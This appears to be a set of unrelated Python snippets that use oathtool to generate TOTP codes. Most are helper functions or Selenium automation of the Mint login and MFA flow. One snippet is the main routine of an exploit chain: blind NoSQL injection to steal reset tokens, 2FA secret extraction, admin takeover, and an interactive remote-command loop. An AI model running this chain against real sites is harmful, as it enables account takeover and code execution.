def _run_oathtool(self): secret = self._decrypt_totp_config() totp = oathtool.generate_otp(secret) # self.runner.output_string(['oathtool', '--base32', '--totp', secret]) hashed_totp = sha256(totp.encode()).hexdigest() return totp, hashed_totp
def get_otp(): """ get One Time Password """ logging.info("OTP取得を開始します。") secret_key = MFA_SECRET_NAME secret_info = get_secret(secret_key) secret = secret_info.get(MFA_SECRET_KEY) otp = oathtool.generate_otp(secret) logging.info("OTP取得を完了しました。") return otp
#!/usr/bin/python3 import oathtool import os facebook_key = os.getenv("FACEBOOK_SECRET_KEY") facebook_otp = oathtool.generate_otp(facebook_key) print(f'facebook_otp={facebook_otp}')
## Getting reset token through blind nosql injection token = resettoken(target) ## Changing Password changingpassword(target,token) # Privilege Escalation to admin ## Getting secret for 2fa secret = twofactor(target,lowprivmail) ## Sending Reset mail print(f"[+] Resetting {adminmail} password") forgotpassword(adminmail,target) ## Getting admin reset token through nosql injection authenticated token = admin_token(target,lowprivmail) ## Resetting Password code = oathtool.generate_otp(secret) changingadminpassword(target,token,code) ## Authenticating and triggering rce while True: cmd = input("CMD:> ") code = oathtool.generate_otp(secret) rce(target,code,cmd)
def _nav_to_mint_and_login(webdriver, args, mfa_input_callback=None): logger.info('Navigating to Mint homepage.') webdriver.get(MINT_HOME) webdriver.implicitly_wait(2) logger.info('Clicking "Sign in" button.') sign_in_button = get_element_by_link_text(webdriver, 'Sign in') if not sign_in_button: logger.error('Cannot find "Sign in" button on Mint homepage.') return False sign_in_button.click() webdriver.implicitly_wait(2) # Mint login is a bit messy. Work through the flow, allowing for any order # of interstitials. Exit only when reaching the overview page (indicating # the user is logged in) or if the login timeout has been exceeded. # # For each attempt section, note that the element must both be present AND # visible. Mint renders but hides the complete login flow meaning that all # elements are always present (but only a subset are visible at any # moment). login_start_time = datetime.now() num_password_attempts = 0 while not webdriver.current_url.startswith(MINT_OVERVIEW): since_start = datetime.now() - login_start_time if (args.mint_login_timeout and since_start.total_seconds() > args.mint_login_timeout): logger.error('Exceeded login timeout') return False if args.mint_user_will_login: logger.info('Mint login to be performed by user.') _login_flow_advance(webdriver) continue userid_input = get_element_by_id(webdriver, 'ius-userid') identifier_input = get_element_by_id(webdriver, 'ius-identifier') ius_text_input = get_element_by_id(webdriver, 'ius-text-input') password_input = get_element_by_id(webdriver, 'ius-password') submit_button = get_element_by_id(webdriver, 'ius-sign-in-submit-btn') # Password might be asked later in the MFA flow; combine logic here. mfa_password_input = get_element_by_id( webdriver, 'ius-sign-in-mfa-password-collection-current-password') mfa_submit_button = get_element_by_id( webdriver, 'ius-sign-in-mfa-password-collection-continue-btn') # Attempt to enter an email and/or password if the fields are present. do_submit = False if is_visible(userid_input): userid_input.clear() userid_input.send_keys(args.mint_email) logger.info('Mint Login Flow: Entering email into "userid" field') do_submit = True if is_visible(identifier_input): identifier_input.clear() identifier_input.send_keys(args.mint_email) logger.info('Mint Login Flow: Entering email into "id" field') do_submit = True if is_visible(ius_text_input): ius_text_input.clear() ius_text_input.send_keys(args.mint_email) logger.info('Mint Login Flow: Entering email into "text" field') do_submit = True if is_visible(password_input): num_password_attempts += 1 password_input.clear() password_input.send_keys(args.mint_password) logger.info('Mint Login Flow: Entering password') do_submit = True if is_visible(mfa_password_input): num_password_attempts += 1 mfa_password_input.clear() mfa_password_input.send_keys(args.mint_password) logger.info('Mint Login Flow: Entering password in MFA input') do_submit = True if num_password_attempts > _MAX_PASSWORD_ATTEMPTS: logger.error('Too many password entries attempted; aborting.') return False if do_submit: if is_visible(submit_button): logger.info('Mint Login Flow: Submitting login credentials') submit_button.submit() elif is_visible(mfa_submit_button): logger.info('Mint Login Flow: Submitting credentials for MFA') mfa_submit_button.submit() _login_flow_advance(webdriver) continue # Attempt to find the email on the account list page. This is often the # case when reusing a webdriver that has session state from a previous # run of the tool. known_accounts_selector = get_element_by_id( webdriver, 'ius-known-accounts-container') if is_visible(known_accounts_selector): usernames = get_elements_by_class_name(webdriver, 'ius-option-username') found_username = False for username in usernames: if username.text == args.mint_email: found_username = True logger.info('Mint Login Flow: Selecting username from ' 'multi-account selector.') username.click() break if found_username: _login_flow_advance(webdriver) continue # The provided email is not in the known accounts list. Go through # the 'Use a different user ID' flow: use_different_account_button = get_element_by_id( webdriver, 'ius-known-device-use-a-different-id') if not is_visible(use_different_account_button): logger.error('Cannot locate the add different account button.') return False logger.info('Mint Login Flow: Selecting "Different user" from ' 'multi-account selector.') use_different_account_button.click() _login_flow_advance(webdriver) continue # If shown, bypass the "Let's add your current mobile number" modal. skip_phone_update_button = get_element_by_id( webdriver, 'ius-verified-user-update-btn-skip') if is_visible(skip_phone_update_button): logger.info( 'Mint Login Flow: Skipping update user phone number modal.') skip_phone_update_button.click() # MFA method selector: mfa_options_form = get_element_by_id(webdriver, 'ius-mfa-options-form') if is_visible(mfa_options_form): # Attempt to use the user preferred method, falling back to the # first method. mfa_method_option = get_element_by_id( webdriver, 'ius-mfa-option-{}'.format(args.mint_mfa_preferred_method)) if is_visible(mfa_method_option): mfa_method_option.click() logger.info('Mint Login Flow: Selecting {} MFA method'.format( args.mint_mfa_preferred_method)) else: mfa_method_cards = get_elements_by_class_name( webdriver, 'ius-mfa-card-challenge') if mfa_method_cards and len(mfa_method_cards) > 0: mfa_method_cards[0].click() mfa_method_submit = get_element_by_id( webdriver, 'ius-mfa-options-submit-btn') if is_visible(mfa_method_submit): logger.info('Mint Login Flow: Submitting MFA method') mfa_method_submit.click() # MFA OTP Code: mfa_code_input = get_element_by_id(webdriver, 'ius-mfa-confirm-code') mfa_submit_button = get_element_by_id(webdriver, 'ius-mfa-otp-submit-btn') if is_visible(mfa_code_input) and is_visible(mfa_submit_button): mfa_code = (mfa_input_callback or input)('Please enter your 6-digit MFA code: ') logger.info('Mint Login Flow: Entering MFA OTP code') mfa_code_input.send_keys(mfa_code) logger.info('Mint Login Flow: Submitting MFA OTP') mfa_submit_button.submit() # MFA soft token: mfa_token_input = get_element_by_id(webdriver, 'ius-mfa-soft-token') mfa_token_submit_button = get_element_by_id( webdriver, 'ius-mfa-soft-token-submit-btn') if is_visible(mfa_token_input) and is_visible(mfa_token_submit_button): import oathtool logger.info('Mint Login Flow: Generating soft token') mfa_code = oathtool.generate_otp(args.mfa_soft_token) logger.info('Mint Login Flow: Entering soft token into MFA input') mfa_token_input.send_keys(mfa_code) logger.info('Mint Login Flow: Submitting soft token MFA') mfa_token_submit_button.submit() # MFA account selector: mfa_select_account = get_element_by_id( webdriver, 'ius-mfa-select-account-section') mfa_token_submit_button = get_element_by_id( webdriver, 'ius-sign-in-mfa-select-account-continue-btn') if args.mint_intuit_account and is_visible(mfa_select_account): account_input = get_element_by_xpath( mfa_select_account, '//label/span[text()=\'{}\']/../' 'preceding-sibling::input'.format(args.mint_intuit_account)) if (is_visible(account_input) and is_visible(mfa_token_submit_button)): account_input.click() mfa_token_submit_button.submit() logger.info('Mint Login Flow: MFA account selection') # Wait for the token to become available. while True: since_start = datetime.now() - login_start_time if (args.mint_login_timeout and since_start.total_seconds() > args.mint_login_timeout): logger.error('Exceeded login timeout') return False try: js_user = get_element_by_name(webdriver, 'javascript-user') if js_user: js_value = js_user.get_attribute('value') json_value = json.loads(js_value) if 'token' in json_value: # Token is ready; break out. break except StaleElementReferenceException: logger.warning('Stale reference while getting Mint JS user token') _login_flow_advance(webdriver) logger.info('Mint login successful.') # If you made it here, you must be good to go! return True
def mfa_page( driver, mfa_method, mfa_token, mfa_input_callback, imap_account, imap_password, imap_server, imap_folder, ): # mfa screen try: if mfa_method == "soft-token": mfa_token_input = driver.find_element_by_css_selector( "#iux-mfa-soft-token-verification-code, #ius-mfa-soft-token") if mfa_input_callback is not None: mfa_code = mfa_input_callback( "Please enter your 6-digit MFA code: ") else: mfa_code = oathtool.generate_otp(mfa_token) mfa_token_input.send_keys(mfa_code) mfa_token_submit = driver.find_element_by_css_selector( '#ius-mfa-soft-token-submit-btn, [data-testid="VerifySoftTokenSubmitButton"]' ) mfa_token_submit.click() else: try: driver.find_element_by_id("ius-mfa-options-form") mfa_method_option = driver.find_element_by_id( "ius-mfa-option-{}".format(mfa_method)) mfa_method_option.click() mfa_method_submit = driver.find_element_by_id( "ius-mfa-options-submit-btn") mfa_method_submit.click() except NoSuchElementException: pass # no option to select mfa option if mfa_method == "email" and imap_account: for element_id in [ "ius-label-mfa-email-otp", "ius-mfa-email-otp-card-challenge", "ius-sublabel-mfa-email-otp", ]: try: mfa_email_select = driver.find_element_by_id( element_id) mfa_email_select.click() break except ( NoSuchElementException, ElementNotInteractableException, ): pass # no option to select email address if mfa_method == "sms": try: mfa_sms_select = driver.find_element_by_id( "ius-mfa-sms-otp-card-challenge") mfa_sms_select.click() except (NoSuchElementException, ElementNotInteractableException): pass # no option to select sms try: mfa_code_input = driver.find_element_by_id( "ius-mfa-confirm-code") mfa_code_input.clear() if mfa_method == "email" and imap_account: mfa_code = get_email_code( imap_account, imap_password, imap_server, imap_folder=imap_folder, ) else: mfa_code = (mfa_input_callback or input)("Please enter your 6-digit MFA code: ") mfa_code_input.send_keys(mfa_code) mfa_code_submit = driver.find_element_by_css_selector( '#ius-mfa-otp-submit-btn, [data-testid="VerifyOtpSubmitButton"]' ) mfa_code_submit.click() except (NoSuchElementException, ElementNotInteractableException): pass # we're not on mfa input screen except NoSuchElementException: pass # not on mfa screen
def sign_in( email, password, driver, mfa_method=None, mfa_token=None, mfa_input_callback=None, intuit_account=None, wait_for_sync=True, wait_for_sync_timeout=5 * 60, imap_account=None, imap_password=None, imap_server=None, imap_folder="INBOX", ): """ Takes in a web driver and gets it through the Mint sign in process """ driver.implicitly_wait(20) # seconds driver.get("https://www.mint.com") element = driver.find_element_by_link_text("Sign in") element.click() WebDriverWait(driver, 20).until( expected_conditions.presence_of_element_located(( By.CSS_SELECTOR, "#ius-link-use-a-different-id-known-device, #ius-userid, #ius-identifier, #ius-option-username", ))) driver.implicitly_wait(0) # seconds # click "Use a different user ID" if needed try: driver.find_element_by_id( "ius-link-use-a-different-id-known-device").click() WebDriverWait(driver, 20).until( expected_conditions.presence_of_element_located( (By.CSS_SELECTOR, "#ius-userid, #ius-identifier, #ius-option-username"))) except NoSuchElementException: pass try: # try to enter in credentials if username and password are on same page email_input = driver.find_element_by_id("ius-userid") if not email_input.is_displayed(): raise ElementNotVisibleException() email_input.clear() # clear email and user specified email email_input.send_keys(email) driver.find_element_by_id("ius-password").send_keys(password) driver.find_element_by_id("ius-sign-in-submit-btn").submit() # try to enter in credentials if username and password are on different pages except (ElementNotInteractableException, ElementNotVisibleException): try: email_input = driver.find_element_by_id("ius-identifier") if not email_input.is_displayed(): raise ElementNotVisibleException() email_input.clear() # clear email and use specified email email_input.send_keys(email) driver.find_element_by_id("ius-sign-in-submit-btn").click() # click on username if on the saved usernames page except (ElementNotInteractableException, ElementNotVisibleException): username_elements = driver.find_elements_by_class_name( "ius-option-username") for username_element in username_elements: if username_element.text == email: username_element.click() break driver.implicitly_wait(20) # seconds try: driver.find_element_by_id( "ius-sign-in-mfa-password-collection-current-password" ).send_keys(password) driver.find_element_by_id( "ius-sign-in-mfa-password-collection-continue-btn").submit() except NoSuchElementException: pass # password may not be here when using MFA # Wait until logged in, just in case we need to deal with MFA. driver.implicitly_wait(1) # seconds while not driver.current_url.startswith( "https://mint.intuit.com/overview.event"): # bypass "Let's add your current mobile number" interstitial page try: skip_for_now = driver.find_element_by_id( "ius-verified-user-update-btn-skip") skip_for_now.click() except ( NoSuchElementException, StaleElementReferenceException, ElementNotVisibleException, ): pass # mfa screen try: if mfa_method == "soft-token": mfa_token_input = driver.find_element_by_css_selector( "#iux-mfa-soft-token-verification-code, #ius-mfa-soft-token" ) if mfa_input_callback is not None: mfa_code = mfa_input_callback( "Please enter your 6-digit MFA code: ") else: mfa_code = oathtool.generate_otp(mfa_token) mfa_token_input.send_keys(mfa_code) mfa_token_submit = driver.find_element_by_css_selector( '#ius-mfa-soft-token-submit-btn, [data-testid="VerifySoftTokenSubmitButton"]' ) mfa_token_submit.click() else: try: driver.find_element_by_id("ius-mfa-options-form") mfa_method_option = driver.find_element_by_id( "ius-mfa-option-{}".format(mfa_method)) mfa_method_option.click() mfa_method_submit = driver.find_element_by_id( "ius-mfa-options-submit-btn") mfa_method_submit.click() except NoSuchElementException: pass # no option to select mfa option if mfa_method == "email" and imap_account: for element_id in [ "ius-label-mfa-email-otp", "ius-mfa-email-otp-card-challenge", "ius-sublabel-mfa-email-otp", ]: try: mfa_email_select = driver.find_element_by_id( element_id) mfa_email_select.click() break except ( NoSuchElementException, ElementNotInteractableException, ): pass # no option to select email address if mfa_method == "sms": try: mfa_sms_select = driver.find_element_by_id( "ius-mfa-sms-otp-card-challenge") mfa_sms_select.click() except (NoSuchElementException, ElementNotInteractableException): pass # no option to select sms try: mfa_code_input = driver.find_element_by_id( "ius-mfa-confirm-code") mfa_code_input.clear() if mfa_method == "email" and imap_account: mfa_code = get_email_code( imap_account, imap_password, imap_server, imap_folder=imap_folder, ) else: mfa_code = ( mfa_input_callback or input)("Please enter your 6-digit MFA code: ") mfa_code_input.send_keys(mfa_code) mfa_code_submit = driver.find_element_by_css_selector( '#ius-mfa-otp-submit-btn, [data-testid="VerifyOtpSubmitButton"]' ) mfa_code_submit.click() except (NoSuchElementException, ElementNotInteractableException): pass # we're not on mfa input screen except NoSuchElementException: pass # not on mfa screen # account selection screen -- if there are multiple accounts, select one try: select_account = driver.find_element_by_id( "ius-mfa-select-account-section") if intuit_account is not None: account_input = select_account.find_element_by_xpath( "//label/span[text()='{}']/../preceding-sibling::input". format(intuit_account)) account_input.click() mfa_code_submit = driver.find_element_by_css_selector( '#ius-sign-in-mfa-select-account-continue-btn, [data-testid="SelectAccountContinueButton"]' ) mfa_code_submit.click() except NoSuchElementException: pass # not on account selection screen # password only sometimes after mfa try: driver.find_element_by_id( "ius-sign-in-mfa-password-collection-current-password" ).send_keys(password) driver.find_element_by_id( "ius-sign-in-mfa-password-collection-continue-btn").submit() time.sleep(2) except (NoSuchElementException, ElementNotInteractableException, StaleElementReferenceException): pass # not on secondary mfa password screen driver.implicitly_wait(20) # seconds # Wait until the overview page has actually loaded, and if wait_for_sync==True, sync has completed. status_message = None if wait_for_sync: try: # Status message might not be present straight away. Seems to be due # to dynamic content (client side rendering). status_web_element = WebDriverWait(driver, 30).until( expected_conditions.visibility_of_element_located( (By.CSS_SELECTOR, ".SummaryView .message"))) WebDriverWait(driver, wait_for_sync_timeout).until( lambda x: "Account refresh complete" in status_web_element. get_attribute("innerHTML")) status_message = status_web_element.text except (TimeoutException, StaleElementReferenceException): logger.warning("Mint sync apparently incomplete after timeout. " "Data retrieved may not be current.") return status_message, get_token(driver)